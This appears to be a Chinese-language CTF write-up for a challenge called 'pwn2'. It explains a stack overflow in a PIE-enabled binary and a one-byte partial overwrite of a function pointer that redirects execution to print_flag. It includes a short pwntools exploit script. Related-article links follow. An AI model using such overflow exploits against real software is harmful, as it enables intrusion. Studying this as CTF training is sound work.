pwn2

作者: n0va | 来源:发表于2019-03-08 23:04 被阅读0次

先checksec,发现开启了PIE,第一次遇到PIE的题有点懵了,虽然知道低三位16进制是不变的可以利用,但还是折腾了好久

image.png

IDA同样可以看到一处很明显的栈溢出,但是因为地址随机化,我们无法知道print_flag函数的地址

image.png

进入select_func函数可以看到,输入的s赋值给dest,如果dest是"one"那么将v3指向one函数,而dest的初始值是指向two函数

image.png

可以看一下two函数跟print_flag函数的地址,都是6xx结尾

image.png image.png

所以我们可以只覆盖v3的低16位为'\xd8'就可以成功跳转到print_flag函数了
exp:

from pwn import *
p = process('./pwn2')
payload = 0x1e*'a' + '\xd8'
p.sendline(payload)
p.interactive()

相关文章

  • MCTF pwn

    pwn2 from pwn import * #p=process("./pwn2") p=remote("120...

  • 安恒一月赛2019 PWN

    0x01 pwn1 0x02 pwn2

  • pwn2

    先checksec,发现开启了PIE,第一次遇到PIE的题有点懵了,虽然知道低三位16进制是不变的可以利用,但还是...

  • 360CTF 初赛Pwn题解

    emmm忘记题目名称了,一共两个题就以Pwn1、Pwn2来记录我觉得题目质量还是很好的,解题过程中学到了不少东西 ...

  • ciscn ctf国赛 第一天pwn2

    分析程序可知free的时候下标没有检查,因此可以free任意地址,思路就是先申请块泄露堆地址,之后在heap段上伪...

  • bugku_ctf,pwn第二题pwn2(最基础的入门级别)

    写在前面: 这题可以说是非常典型的栈溢出, 非常的基础, 学会这篇文章至少对栈溢出到底在干嘛有了最基本的了解. 写...

网友评论

      本文标题:pwn2

      本文链接:https://www.haomeiwen.com/subject/naqjpqtx.html